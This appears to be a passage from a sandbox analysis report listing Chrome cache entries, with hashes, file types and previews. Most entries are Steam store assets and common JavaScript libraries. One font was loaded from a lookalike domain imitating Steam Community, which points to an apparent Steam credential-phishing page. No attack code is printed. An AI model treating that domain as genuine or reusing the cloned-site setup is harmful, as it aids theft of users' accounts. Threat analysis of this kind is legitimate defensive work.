.....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/blank.gif
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19092
Entropy (8bit):	5.511106072147819
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7DYiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7DFHix/mP+pPIOwlNzi
MD5:	7BE183DFBCFB68E7BBB8084AE6286674
SHA1:	CD11E711622EE7705B9258027C4F065FD55F9E00
SHA-256:	14A9F76C1AE6A675422A20FB69BB89FBCB42ED68915FB86CD0A16DCD5D185E57
SHA-512:	023EA3EF7D646843D31F6BB10E6E6F5B1C4EB59E9FD0D11FCAB0D59606BAB2D78ED68CDDAC5722F0023D5E36BD65FD6B77EACBC41713F5F89257223E398C5596
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=e-GD37z7aOe7&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=R7sxK7vRbz5g&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	downloaded
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/x9x9.gif
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shipping.js?v=duTHCld2DeXb
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M
Category:	downloaded
Size (bytes):	133600
Entropy (8bit):	6.0674472145735345
Encrypted:	false
SSDEEP:	3072:D0000yU00000p4hvCgblYq4AYpbVvQ8U/VMxLseW8Yafj9:D0000GWCClpnYpxvRamfh
MD5:	07247CBD12D4E4160EFD413823D0DEF8
SHA1:	517A80968AA295D0A700A338C22BA41E3A8B78A7
SHA-256:	41464EFD9A32A5967B30ADDC21FE16CD0A35870FDA56658B531A9A2434B4D829
SHA-512:	27E0E7505D41891E70BD06733F96E82E45061D621A1D20BBC524FC89C5406A799CF53D98C0FA256CB4EBFC19750C9A05531A8D273CEBC260D48948EDFFDF6244
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Preview:	........... DSIG............GDEF.\|.@...,...:GPOS.r....h...dGSUB.e.........POS/2t.........`cmap.......\|....cvt Ft..... ....fpgm.6!.........gasp............glyf`..........head...1...0...6hhea.......h...$hmtx.[O".......locap.+........maxp.......@... name.H.....`....post.v.....L....prep...........................................w...x.y...z.3.........&.W.............D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J......................................................................................................................................

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29104, version 0.0
Category:	downloaded
Size (bytes):	29104
Entropy (8bit):	7.993786755731096
Encrypted:	true
SSDEEP:	768:9JxwZJhcx+M+6lxBZB3TRmltuaLuNo9aOjTC:uVcEM+Ayuaco9aOHC
MD5:	38A35C7070979FB4C845DE40CADA43C5
SHA1:	B0F804F348B746449E6589B92DFF685509737DAD
SHA-256:	FCFF4301DC083AF2BE2B990BB6485E9E06CE9D2B373A7ACF8A74F61EA69D861A
SHA-512:	E7E5B167FA9187EA785BE311F43E15F33D51C20E9D07E1E15E3A761A7B6A857B2AD270E3F0E6CB0D85327BC0AA3454646A2B5E040B30EDEDE216E57CC113F089
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e0801575c08154b1257736017137a267d50.woff2
Preview:	wOF2......q........x..qT.........................`..`......Y.....l..e.6.$.."..... ..s. ..S........@.<D.....I.....CB..j..~..?...?..G..9o.@...A.D~.>...i.-_.....N..q$.$.'Z...V...S./Q.\.PUx...<...i.7_../.y.1A...K\.M....=^......K.....5s......B...W.HQ]S..{...U...4..8....p.....tw;.v"...~.u..M.IL...s.&. ........y^7.d.A...+..a. ;.l..$$@.......p@....Q..;..X..u....;p...mm.....m.>.......q.....X..F......T.....pU..........z..U.j..DJr.a.2.w:..K..G.?.`.8..kw.C.U..Me..M5[B.t.R.S.........c..? i.......<`8..]..!..ARaS..T....J...uHaS..r..w..>.\..]..........3.B..\t..w...........!DP!C..J.#.\|.p ..8..(....C.UV..m.j....J.]...ZLw~."A@...4...&.m..}#e...:..h8.."..N ...6$.%v...n..E.X.F.D....../.g..Zoo.........6...X.#S...y5.(^.D..E..j....E.Y:t..7.0.5b,0a..3.p.#.p...8......7...;<..'...^r..\.\|.\|..~..... .@...`..B.B.E.a.'..D .HD..h..C.b.....C<.H ..$".$$...R.J.HC:.. ..d.,;<.l..C.r..G. .\|.P.B.QD..)F.%(..e...rTP.JQE...F.5...u..z4.F..D..iF.-h..m...vt.N:.E...F.=..}...~X.b...2.!.0.0F

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	1.6214494414274285
Encrypted:	false
SSDEEP:	6:UcLDpXejv8EGctuBoCWCqRFoRJrlRq0qGpmEDqSrur3pTHkl:UcLNejketKWCqLkXqTGQE2SO54l
MD5:	2690CED7D66CF8B34658922E9625F65E
SHA1:	57477C2180CC7B6B9E3064A46CF8DA4AD7555540
SHA-256:	0C6516E22335E762E68BB63CC3F6EEE7455FC226D0FC00C62EF13FC93FA16971
SHA-512:	C95A83A53C9FD1DA6388B8C63E6B8434670F1A0C9C9DB2CC775EFC127899536095EC8290EC251575D1A355CC8C3A2C9786E719AE7E51D992DE9E73E080D92AAB
Malicious:	false
Reputation:	low
Preview:	..............h.......(....... ...........@...................ust.....QVS.................\|\|\|.kom.....^[]...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (303), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	31241
Entropy (8bit):	5.5118597448373325
Encrypted:	false
SSDEEP:	768:JFtyux8CbTY7fG2WTJt14wXrx8aoSAUwbTY7fG29TJt14wt2ySSSonm7B2D:JFtyux8CbTY7fG2WTJt14wXrx8aoSAjK
MD5:	CFCE56CFF8FD91DC0C67E25BA9085084
SHA1:	A0944ED090C9C8FEF5D404C54B943FFE2D4A99C7
SHA-256:	63C04C66135E9C82C015345ACB99238294F600462345253E165CA604A13BA79A
